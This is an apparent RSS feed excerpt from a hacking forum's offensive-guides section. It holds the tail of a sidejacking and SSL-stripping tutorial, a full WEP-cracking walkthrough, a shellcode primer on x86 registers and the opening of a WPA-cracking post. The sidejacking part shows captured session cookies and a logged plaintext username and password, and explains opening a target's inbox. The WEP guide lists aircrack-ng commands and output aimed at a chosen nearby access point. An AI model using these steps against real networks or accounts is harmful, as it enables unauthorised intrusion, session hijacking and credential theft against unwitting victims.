&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH <br />
&nbsp; &nbsp;  * /mc/md.php<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq</code><hr />
</div><br />
 Now for the sake of pages the ^ is what you need to look for.  When you do you go back to the hyperlinks within hamster and click on one that looks like this  <br />
 <br />
<br />
 <a href="http://mail.yahoo.com/" target="_blank">http://mail.yahoo.com/</a><br />
 <br />
<br />
 Click the ^ and you will see the targets inbox  <br />
 <br />
<br />
 Now you can save all the cookies you have collected and analyze them for later, however to be honest that's a little more than I've experimented with thus far.<br />
 <br />
<br />
 Remember the sslstrip log I had you create?<br />
 <br />
<br />
 Well here's where it comes in handy.<br />
 <br />
<br />
 If you use your favorite text editor to open decryptedlog you should see something close to the following<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> 2010-09-02 03:13:56,516 SECURE POST Data (login.yahoo.com): .tries=1&amp;.src=ym&amp;.md5=&amp;.hash=&amp;.js=&amp;.last=&amp;promo=&amp;.intl=us&amp;.bypass=&amp;.partner=&amp;.u=9h803c967un5r&amp;.v=0&amp;.challenge=dyPV3mcewPyQV.eKfr3rGQG1JrAu&amp;.yplus=&amp;.emailCode=&amp;pkg=&amp;stepid=&amp;.ev=&amp;hasMsgr=0&amp;.chkP=Y&amp;.done=http%3A%2F%2Fmail.yahoo.com&amp;.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&amp;pad=5&amp;aad=5&amp;login=wiccanlord&amp;passwd=g-student&amp;.save=</code><hr />
</div><br />
 The string you want is right here<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> login=wiccanlord&amp;passwd=g-student&amp;.save=</code><hr />
</div><br />
 Login: wiccanlord<br />
 password: g-student<br />
 <br />
<br />
 Countermeasures<br />
 <br />
<br />
 <ul><li>Pay attention to your url bar, if     it usually says HTTPS say for banking, email, etc..DO NOT type in     your credentials when it says http.</li>
<li>Log out of your web-sessions when     your finished</li>
<li>check your log files on the sites     of which you log into, if it does not match what you think it     should, more than likely you've been attacked.</li>
</ul> <br />
<br />
 I hope you enjoyed this tutorial<br />
 <br />
<br />
 Securityxxxpert</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>securityxxxpert</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3023-sidejacking-ssl-stripping.html</guid>
		</item>
		<item>
			<title>Guide Cracking WEP Without Clients Connected To WAP</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3019-cracking-wep-without-clients-connected-wap.html</link>
			<pubDate>Wed, 01 Sep 2010 07:03:22 GMT</pubDate>
			<description>* 1 - Set the wireless card MAC 	address 
* 2 - Start 	the wireless interface in monitor mode 
* 3 - Scan for WEP access points 
* 4 - Pick out which...</description>
			<content:encoded><![CDATA[<div><ul><li><i>1 - Set the wireless card MAC 	address</i></li>
<li><i>2 - Start 	the wireless interface in monitor mode</i></li>
<li><i>3 - Scan for WEP access points</i></li>
<li><i>4 - Pick out which WEP AP you 	want to attack, and associate airodump to that channel/bssid.</i></li>
<li><i>5 - Use aireplay-ng chopchop or 	fragmentation attack to obtain PRGA</i></li>
<li><i>6 - Use packetforge-ng to 	create a ARP packet</i></li>
<li><i>7 - Step Inject the ARP 	packetfrom step #6</i></li>
<li><i>Final Step – Crack the WEP key</i></li>
</ul> <br />
<br />
 <b>Step 1:  Set up the wireless card MAC Address</b><br />
<br />
 <br />
<br />
 This isn't really necessary however the command to do so is machange -r mon0<br />
 Keep in mind this applies to the card that I have, your interface may be different.<br />
 -r (random).  By using this flag the mac address generated will be random.<br />
 <br />
<br />
 root@bt:~# macchanger -r wlan0<br />
 Current MAC: 00:c0:ca:33:7f:72 (Alfa, Inc.)<br />
 Faked MAC:   36:b1:e6:05:32:da (unknown)<br />
 <br />
<br />
 <b>Step 2:  Start the wireless interface in monitor mode</b><br />
 <br />
<br />
 airmong-ng start wlan0<br />
 <br />
<br />
 <b>note</b> once again wlan0 is my interface.  Feel free to check for yours with the iwconfig command.<br />
 <br />
<br />
 You should see the following  <br />
 <br />
<br />
 root@bt:~# airmon-ng start wlan0<br />
 <br />
<br />
 <br />
<br />
 Interface       Chipset         Driver<br />
 <br />
<br />
 wlan0           RTL8187         rtl8187 - [phy0]<br />
                                 (monitor mode enabled on mon1)<br />
 mon0            RTL8187         rtl8187 - [phy0]<br />
 <br />
<br />
 If you see the “monitor mode enabled” you know your then good to go.<br />
 <br />
<br />
 <b>Step 3.  Scan for WEP access points</b><br />
<br />
 <br />
<br />
 airodump-ng mon0<br />
 <br />
<br />
 You should see something like this.<br />
 <br />
<br />
  CH  7 ][ Elapsed: 16 s ][ 2010-09-01 00:39<br />
 <br />
<br />
  BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID<br />
 <br />
<br />
  00:24:A5:AD:79:59  -13       26        0    0   6  54e. WPA2 CCMP   PSK  PwnSauce<br />
  00:1C:10:A1:C1:32  -61        3        0    0  11  54   WEP  WEP         dusty<br />
  00:1B:5B:B3:B5:71  -63        4        2    0   8  54 . WEP  WEP         2WIRE486<br />
  00:18:39:B1:4D:DD  -64       14        0    0   1  54   WPA2 CCMP   PSK  rocky4191980net<br />
  00:19:E4:48:97:A9  -63       11        0    0   1  54 . WEP  WEP         2WIRE040<br />
  00:18:39:62:34:EE  -63       19        0    0   6  54   OPN              linksys<br />
  00:25:3C:F1:C9:E9  -66        5        0    0  11  54 . WEP  WEP         2WIRE266<br />
  00:1A:70:00:77:E4  -64       13        0    0   6  54   OPN              Moyers<br />
  00:18:3F:2B:A2:01  -67        7        0    0   1  54 . WEP  WEP         2WIRE305<br />
  00:26:50:D0:4D:C9  -69        2        0    0   6  54 . WEP  WEP         2WIRE705<br />
  00:0F:66:D2:6E:F4  -70        5        0    0   6  54 . WPA  TKIP   PSK  HFNET<br />
  00:1D:7E:97:C0:1D  -71        4        0    0   1  54e  WPA2 CCMP   PSK  RRlinksys<br />
  00:1E:E5:EB:63:6C  -69        5        0    0   6  54e. WPA2 CCMP   PSK  jake wireless<br />
  00:23:51:3B:89:D1  -71        3        0    0   3  54 . WEP  WEP         2WIRE629<br />
  00:24:B2:51:C6:CA  -71        3        0    0   1  54e. WPA2 CCMP   PSK  Pepp-Main-Office2.4Ghz<br />
 <br />
<br />
 <b>Step 4.  Pick out which WEP AP you want to attack, and associate airodump to that channel/bssid.  In  this case I have decided on 2WIRE040.</b><br />
<br />
 <br />
<br />
 Airodump-ng -c 1 –bssid 00:19:E4:48:97:A9 -w wepcrack mon0<br />
 <br />
<br />
 Step 6.  Use aireplay-ng to do a fake authentication with the WAP.<br />
 <br />
<br />
 Aireplay-ng -1 0 -e 2WIRE040 -a 00:19:E4:48:97:A9 -h  36:b1:e6:05:32:da mon0<br />
 <br />
<br />
 -1 mean fake authentication attack<br />
 0 is how often it will time out in seconds<br />
 -e is the ssid name in this case 2WIRE040<br />
 -a is the Access Points MAC<br />
 -h is your mac address in this case  36:b1:e6:05:32:da<br />
 -w is the file name in this case wepcrack<br />
 mon0 is the wireless interface name<br />
 <br />
<br />
 you should see something similar to this.<br />
 <br />
<br />
 00:47:56  Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1<br />
 <br />
<br />
 00:47:56  Sending Authentication Request (Open System) [ACK]<br />
 00:47:56  Authentication successful<br />
 00:47:56  Sending Association Request [ACK]<br />
 <br />
<br />
 00:48:01  Sending Authentication Request (Open System) [ACK]<br />
 00:48:01  Authentication successful<br />
 00:48:01  Sending Association Request [ACK]<br />
 00:48:01  Association successful :-) (AID: 1)<br />
 <br />
<br />
 Step 5.  Use aireplay-ng chopchop or fragmentation attack to obtain PRGA<br />
 <br />
<br />
 Let's use the fragmentation attack first.<br />
 <br />
<br />
 Aireplay -5 -b  00:19:E4:48:97:A9 -h  36:b1:e6:05:32:da mon0<br />
 <br />
<br />
 -5 is the fragmentation attack<br />
 -b is the WAP MAC address in this case  00:19:E4:48:97:A9<br />
 -h is your MAC address in this case  36:b1:e6:05:32:da<br />
 <br />
<br />
 you should see this  <br />
 <br />
<br />
 00:51:26  Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1<br />
 00:51:26  Waiting for a data packet...<br />
 Read 114 packets...<br />
 <br />
<br />
         Size: 68, FromDS: 1, ToDS: 0 (WEP)<br />
 <br />
<br />
               BSSID  =  00:19:E4:48:97:A9<br />
           Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
          Source MAC  =  00:19:E4:48:97:A9<br />
 <br />
<br />
         0x0000:  0842 0000 ffff ffff ffff 0019 e448 97a9  .B...........H..<br />
         0x0010:  0019 e448 97a9 2055 df6b 2c00 2d25 81d7  ...H.. U.k,.-%..<br />
         0x0020:  c27e 6181 7323 1df2 b8ba 990f 2470 b5c5  .~a.s#......$p..<br />
         0x0030:  e377 3200 045a 849c 835f a199 3763 6ad6  .w2..Z..._..7cj.<br />
         0x0040:  c366 64cc                                .fd.<br />
 <br />
<br />
 Use this packet ?   Y<br />
 <br />
<br />
 Saving chosen packet in replay_src-0901-005130.cap<br />
 00:51:40  Data packet found!<br />
 00:51:40  Sending fragmented packet<br />
 00:51:40  Not enough acks, repeating...<br />
 00:51:40  Sending fragmented packet<br />
 00:51:42  No answer, repeating...<br />
 00:51:42  Trying a LLC NULL packet<br />
 00:51:42  Sending fragmented packet<br />
 00:51:42  Got RELAYED packet!!<br />
 00:51:42  Trying to get 384 bytes of a keystream<br />
 00:51:42  Got RELAYED packet!!<br />
 00:51:42  Trying to get 1500 bytes of a keystream<br />
 00:51:42  Got RELAYED packet!!<br />
 Saving keystream in fragment-0901-005142.xor<br />
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream<br />
 <br />
<br />
 Was the previous  step failboat?  If so you might want to use a chopchop attack seen below<br />
 <br />
<br />
 aireplay-ng -4 -h 36:b1:e6:05:32 -b 00:19:E4:48:97:A9  mon0<br />
 <br />
<br />
 -4 mean the chopchop attack<br />
 -h is our hosts mac address in this case 36:b1:e6:05:32<br />
 -b is our WAP mac address in this case 00:19:E4:48:97:A9  <br />
 mon0 is the wireless interface<br />
 <br />
<br />
 You should see something similar<br />
 <br />
<br />
 .<br />
 01:54:33  Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1<br />
 <br />
<br />
 <br />
<br />
         Size: 68, FromDS: 1, ToDS: 0 (WEP)<br />
 <br />
<br />
               BSSID  =  00:19:E4:48:97:A9<br />
           Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
          Source MAC  =  00:19:E4:48:97:A9<br />
 <br />
<br />
         0x0000:  0842 0000 ffff ffff ffff 0019 e448 97a9  .B...........H..<br />
         0x0010:  0019 e448 97a9 0094 e74d 9c00 37d2 4c5b  ...H.....M..7.L[<br />
         0x0020:  3410 24dd 7b04 bdc5 fc13 ada3 339d a06f  4.$.{.......3..o<br />
         0x0030:  d1e2 0825 ecc8 539e c1c5 321f 55c3 58f1  ...%..S...2.U.X.<br />
         0x0040:  1ca8 e016                                ....<br />
 <br />
<br />
 Use this packet ? y      <br />
 <br />
<br />
 Saving chosen packet in replay_src-0901-015434.cap<br />
 <br />
<br />
 Offset   67 ( 0% done) | xor = 08 | pt = 1E |  168 frames written in  2862ms<br />
 Offset   66 ( 2% done) | xor = 61 | pt = 81 |  426 frames written in  7247ms<br />
 Offset   65 ( 5% done) | xor = 2C | pt = 84 |   32 frames written in   536ms<br />
 Offset   64 ( 8% done) | xor = 0A | pt = 16 |  684 frames written in 11637ms<br />
 Offset   63 (11% done) | xor = 9A | pt = 6B |  326 frames written in  5539ms<br />
 Offset   62 (14% done) | xor = 59 | pt = 01 |  182 frames written in  3100ms<br />
 Offset   61 (17% done) | xor = 6B | pt = A8 |   39 frames written in   664ms<br />
 Offset   60 (20% done) | xor = 95 | pt = C0 |  654 frames written in 11111ms<br />
 Offset   59 (23% done) | xor = E0 | pt = FF |   14 frames written in   230ms<br />
 Offset   58 (26% done) | xor = CD | pt = FF |  753 frames written in 12813ms<br />
 Offset   57 (29% done) | xor = 3A | pt = FF |  669 frames written in 11369ms<br />
 Offset   56 (32% done) | xor = 3E | pt = FF |   19 frames written in   320ms<br />
 Offset   55 (35% done) | xor = 61 | pt = FF |  276 frames written in  4701ms<br />
 Offset   54 (38% done) | xor = AC | pt = FF | 1960 frames written in 33312ms<br />
 Offset   53 (41% done) | xor = 36 | pt = FE | 1100 frames written in 18705ms<br />
 Offset   52 (44% done) | xor = ED | pt = 01 |   91 frames written in  1546ms<br />
 Offset   51 (47% done) | xor = 8D | pt = A8 |  144 frames written in  2443ms<br />
 Offset   50 (50% done) | xor = C8 | pt = C0 |   42 frames written in   714ms<br />
 Offset   49 (52% done) | xor = 4B | pt = A9 |  173 frames written in  2941ms<br />
 Offset   48 (55% done) | xor = 46 | pt = 97 | 2360 frames written in 40130ms<br />
 Offset   47 (58% done) | xor = 27 | pt = 48 |  320 frames written in  5435ms<br />
 Offset   46 (61% done) | xor = 44 | pt = E4 | 1281 frames written in 21766ms<br />
 Offset   45 (64% done) | xor = 84 | pt = 19 | 1650 frames written in 28064ms<br />
 Offset   44 (67% done) | xor = 33 | pt = 00 |  241 frames written in  4091ms<br />
 Offset   43 (70% done) | xor = A2 | pt = 01 |  193 frames written in  3289ms<br />
 Offset   42 (73% done) | xor = AD | pt = 00 |  613 frames written in 10407ms<br />
 Offset   41 (76% done) | xor = 17 | pt = 04 |  163 frames written in  2776ms<br />
 Offset   40 (79% done) | xor = FA | pt = 06 | 1353 frames written in 23009ms<br />
 Offset   39 (82% done) | xor = C5 | pt = 00 |  136 frames written in  2305ms<br />
 Offset   38 (85% done) | xor = B5 | pt = 08 | 2027 frames written in 34467ms<br />
 Offset   37 (88% done) | xor = 05 | pt = 01 |  488 frames written in  8295ms<br />
 Offset   36 (91% done) | xor = 7B | pt = 00 |   18 frames written in   303ms<br />
 Offset   35 (94% done) | xor = DB | pt = 06 |  229 frames written in  3890ms<br />
 Offset   34 (97% done) | xor = 2C | pt = 08 |  404 frames written in  6871ms<br />
 <br />
<br />
 Saving plaintext in replay_dec-0901-015714.cap<br />
 Saving keystream in replay_dec-0901-015714.xor<br />
 <br />
<br />
 Completed in 152s (0.20 bytes/s)<br />
 <br />
<br />
 Success ^ :)<br />
 <b>Step 6.  Use packetforge-ng to create a ARP packet</b><br />
<br />
 <br />
<br />
 packetforge-ng -0 -a 00:19:E4:48:97:A9 -h 36:b1:e6:05:32:da -k 255.255.255.255 -l 255.255.255.255 -y fragment-0901-005142.xor -w wepcrack  <br />
 <br />
<br />
 -0 means create a ARP packet<br />
 -a is the WAP MAC in this case 00:19:E4:48:97:A9<br />
 -h is your MAC address in this case 36:b1:e6:05:32:da<br />
 -k is the destination IP (most AP's will work find with this setting)<br />
 -l is the source ip (again most AP's will respond fine with this)<br />
 -y fragment-0901-006142.xor is the file you get your PRGA from<br />
 -w is the name of the file you wish to call it in this case wepcrack<br />
 <br />
<br />
 Success will look like this  <br />
 <br />
<br />
 Wrote packet to: wepcrack<br />
 <br />
<br />
 <b>Step 7.  Inject the ARP packet</b><br />
<br />
 <br />
<br />
 aireplay-ng -2 -r wepcrack mon0<br />
 <br />
<br />
 -2 means interative mode<br />
 -r is the file of which to read the arp packet in this case wepcrack<br />
 <br />
<br />
 you should see something similar<br />
 <br />
<br />
 No source MAC (-h) specified. Using the device MAC (00:C0:CA:33:7F:72)<br />
 <br />
<br />
 <br />
<br />
         Size: 68, FromDS: 0, ToDS: 1 (WEP)<br />
 <br />
<br />
               BSSID  =  00:19:E4:48:97:A9<br />
           Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
          Source MAC  =  00:C0:CA:33:7F:72<br />
 <br />
<br />
         0x0000:  0841 0201 0019 e448 97a9 00c0 ca33 7f72  .A.....H.....3r<br />
         0x0010:  ffff ffff ffff 8001 df6e f700 79d3 cc92  .........n..y...<br />
         0x0020:  f911 0d44 a461 c287 e878 caf7 61ea edbc  ...D.a...x..a...<br />
         0x0030:  a2cc 2b96 c8fa 1097 cb73 75ac cfd6 f8c6  ..+......su.....<br />
         0x0040:  eea8 f908                                ....<br />
 <br />
<br />
 Use this packet ? y       <br />
 <br />
<br />
 Now we wait for about 40,000 IV's.  If you take a look at your airodump window you will see the data start to sky rocket.  When this reaches 40,000 hit ctrl+C to kill the process.<br />
 <br />
<br />
 Succes :)<br />
 <br />
<br />
  CH  1 ][ Elapsed: 27 mins ][ 2010-09-01 01:19<br />
 <br />
<br />
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID<br />
 <br />
<br />
  00:19:E4:48:97:A9  -67  33     8396    43869   41   1  54 . WEP  WEP         2WIRE040<br />
 <br />
<br />
 <b>Final Step:  Crack the WEP key</b><br />
<br />
 <br />
<br />
 aircrack-ng -b 00:19:E4:48:97:A9  crackwep*.cap<br />
 <br />
<br />
 -b is the WAP MAC address in this case 00:19:E4:48:97:A9<br />
 <br />
<br />
 After a few seconds you will get the key<br />
 <br />
<br />
               Aircrack-ng 1.0 r1645<br />
 <br />
<br />
 <br />
<br />
                                                                  [00:00:00] Tested 74 keys (got 43384 IVs)<br />
 <br />
<br />
    KB    depth   byte(vote)<br />
     0    0/  2   82(57088) CE(52224) 09(51968) F1(51712) 8A(51200) 3E(50944) 52(50432) 4E(50176) 4F(50176) 93(50176) 35(49920) EE(49920) 13(48896) 14(48896)<br />
     1    1/  3   90(52736) F9(52224) 2E(51200) D5(50944) BA(50688) B9(50432) 51(49920) C1(49920) 48(49664) 35(49408) 12(49152) 9B(49152) F4(48896) 9D(48640)<br />
     2    0/  1   73(60416) 49(54016) 79(52480) 11(52224) 22(52224) 7B(51712) EF(50944) 16(50432) 58(50432) 82(50432) D4(50432) 72(49664) 3A(49408) BA(49152)<br />
     3    0/  6   08(56320) A8(54784) 1C(52992) B3(52736) 10(52224) 8D(51968) D8(50944) 82(50688) 10(50176) 0E(49920) CB(49920) F7(49408) 5F(49152) DA(49152)<br />
     4    0/  3   80(55808) 00(52480) 0B(51456) FC(50944) 95(50432) B7(50432) AE(49920) C0(49408) E4(49152) 24(48896) 6D(48896) 82(48896) 7F(48640) D4(48640)<br />
 <br />
<br />
                          KEY FOUND! [ 82:77:73:08:80 ]<br />
         Decrypted correctly: 100%<br />
 <br />
<br />
 I hope you enjoyed my tutorial.<br />
 <br />
<br />
 Securityxxxpert<br />
 <br />
<br />
 <b>Note</b>  I will be making a video as well to attach with when time permits.<br />
<br />
<br />
For those that want a nice pdf of the same thing I uploaded it here<br />
<br />
<br />
<a href="http://rapidshare.com/files/416391453/Cracking_WEP_Without_Clients.pdf.html" target="_blank">http://rapidshare.com/files/41639145...ients.pdf.html</a></div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>securityxxxpert</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3019-cracking-wep-without-clients-connected-wap.html</guid>
		</item>
		<item>
			<title>My First Shellcode - Part 1</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html</link>
			<pubDate>Tue, 31 Aug 2010 11:41:07 GMT</pubDate>
			<description><![CDATA[Since I'm doing the CTP course by Offensive Security and need to be capable 
of writing my own shellcode by hand, I decided to study this topic in...]]></description>
			<content:encoded><![CDATA[<div>Since I'm doing the CTP course by Offensive Security and need to be capable<br />
of writing my own shellcode by hand, I decided to study this topic in depth which<br />
has given me a lot more knowledge though I need to become even better, be-<br />
cause I'm still only a beginner.<br />
<br />
This guide is intended for Windows Operating Systems running Windows XP with-<br />
out ASLR enabled since hardcoded memory addresses for API calls will be used.<br />
<br />
<br />
<font size="4"><b>Introduction</b></font><br />
Assembly which is the language that I'll be using throughout this tutorial is<br />
actually CPU instructions aka opcodes. Occasionally I refer to this as machine<br />
code, binary code and shellcode since they're essentially the same.<br />
<br />
Shellcode however, should result in code execution such as a shell.<br />
<br />
Whenever you're writing assembly, you should know about how the registers<br />
function how the memory is handled on the Intel Architecture systems (IA-32).<br />
<br />
In this case we're using IA-32 (Intel Architecture, 32-bit) aka the x86 <br />
architecture which consists of a &quot;couple&quot; of registers able to contain,<br />
yes 32 bits each. 64-bit processors are able to contain 64 bits.<br />
<br />
A register you can use is e.g. EDI, and if all the bits are used it looks like this:<br />
11111111 11111111 11111111 11111111<br />
<br />
Whenever we're in a debugger, we would see this: FFFF FFFF<br />
<br />
If we add 1 to this value, the register becomes 0 because it &quot;Wraps Around&quot; at the highest value.<br />
<br />
Now I won't be going to explain why the value FFFF FFFF is equal to -1 since<br />
that still confuses me a little even though I may cover this topic later.<br />
<br />
For now it's not that important since we'll use our debugger to calculate for us in case we need it.<br />
<br />
<b>Now, lets get back the registers.</b><br />
<br />
Here is a list of all the registers:<br />
    * AX/EAX: accumulator<br />
    * BX/EBX: base index (ex: arrays)<br />
    * CX/ECX: counter<br />
    * DX/EDX: data/general<br />
    * SI/ESI: &quot;source index&quot; for string operations.<br />
    * DI/EDI: &quot;destination index&quot; for string operations.<br />
    * SP/ESP: stack pointer for top address of the stack.<br />
    * BP/EBP: stack base pointer for holding the address of the current stack frame.<br />
    * IP/EIP: instruction pointer. Holds the program counter, the current instruction address.<br />
<br />
In essence, we can use most of these registers as we like. There's no such<br />
thing as we have to use ESI for one thing, and EDI for another in case we <br />
need to use a registers for a calculation or store a temporary value.<br />
<br />
However when we're dealing with API's, the EAX register is usually used to<br />
call into the specific API functions, such as in this case: MessageBoxA.<br />
<br />
While other registers has other purposes too of course.<br />
<br />
<br />
<font size="4">A bit more about registers and IA-32<br />
</font>I should note that EIP is the &quot;Current Instruction Pointer&quot;, which we cannot<br />
alter directly as it points to the next instruction which is going to be executed.<br />
<br />
However if we perform a jump (to somewhere else in memory) or &quot;call&quot; a function,<br />
then EIP will change to whatever value we desire however if the value does not point<br />
to an opcode which can be executed, then we may receive an error. (Access Violation,<br />
or perhaps another depending on what happened.)<br />
<br />
Whenever a buffer overflow happens, control over the EIP (usually) means we can play.<br />
<br />
Now, ESP is also quite important. This points to our stack, where values and <br />
more are stored, usually as arguments aka variables for API calls! :wink:<br />
<br />
EBP is the base pointer, which can be manipulated and contain erroneous<br />
values but in case we're using API functions, this should point to a valid<br />
position on the stack. (Point to valid memory stack space.)<br />
<br />
<b>Enough about registers, about IA-32:</b><br />
Q: When you're writing an opcode in OllyDbg you may notice that the code<br />
is somewhat reversed, why is that? <br />
A: In short it's because of &quot;Little Endian&quot; (a guy from outer space) which<br />
needs the data to be in an order which is &quot;kinda&quot; reversed. Here's an example.<br />
<br />
We're going to send DEADBEEF (this hexadecimal value is valid for test purposes),<br />
into a register via perhaps a buffer overflow or by executing a file which contains <br />
this instruction. (Lets just say the instruction is MOV EAX, 0xDEADBEEF)<br />
<br />
Without the instruction, which simple takes a value and puts it into EAX,<br />
we note that DEADBEEF without our debugger doing the job for us, needs<br />
to be in Little Endian byte order.<br />
<br />
1 byte consists of 8 bits. <br />
<br />
8 bits looks like: 1111 1111<br />
<br />
What does 1 byte look like? FF is equal to 1111 1111 (binary) which is 1 byte.<br />
<br />
So DEADBEEF, equals 4 bytes! (DE AD BE EF == 4 bytes == 32 bits)<br />
<br />
<b>Now, in Little Endian byte order..</b><br />
<br />
The actual bytes are <u>not</u> reversed, but the structure is! So DEADBEEF, is<br />
split up into DE AD BE EF, which is reversed to: EF BE AD DE.<br />
<br />
Simply, the last value is read first! (Thumb rule!)<br />
<br />
<br />
This is good to know, especially when we push data onto the stack and<br />
when we're sending &quot;return addresses&quot; in buffer overflows where this ad-<br />
dress needs to be in Little Endian order, because otherwise perhaps EIP<br />
will look, reversed to us which isn't what we want to do :wink:<br />
<br />
<br />
By knowing all of this, we're ready to continue onto the next part.<br />
<b>Link: </b><a href="!m3042!http://forum.intern0t.net/offensive-guides-information/3042-my-first-shellcode-part-2.html" target="_blank">http://forum.intern0t.net/offensive-...de-part-2.html</a><br />
<br />
(The next part will contain actual assembly code, this part was made in<br />
order to make sure the reader would understand the basic concepts of<br />
Assembly code and how memory is handled, in short.)<br />
<b> <br />
<br />
References:<br />
</b><a href="http://en.wikipedia.org/wiki/X86" target="_blank">http://en.wikipedia.org/wiki/X86</a><br />
<a href="http://en.wikipedia.org/wiki/IA-32" target="_blank">http://en.wikipedia.org/wiki/IA-32</a></div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>MaXe</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html</guid>
		</item>
		<item>
			<title>Cracking WPA and WPA2</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3006-cracking-wpa-wpa2.html</link>
			<pubDate>Sun, 29 Aug 2010 11:52:26 GMT</pubDate>
			<description>Hi 
 
I said I was going to make a video on this, and I have done just that 
 
The technique for cracking WPA and WPA2 keys is exactly the same so...</description>
			<content:encoded><![CDATA[<div>Hi<br />
<br />
I said I was going to make a video on this, and I have done just that<br />
<br />
The technique for cracking WPA and WPA2 keys is exactly the same so this video can be used with WPA and WPA2 networks using PSK<br />
<br />
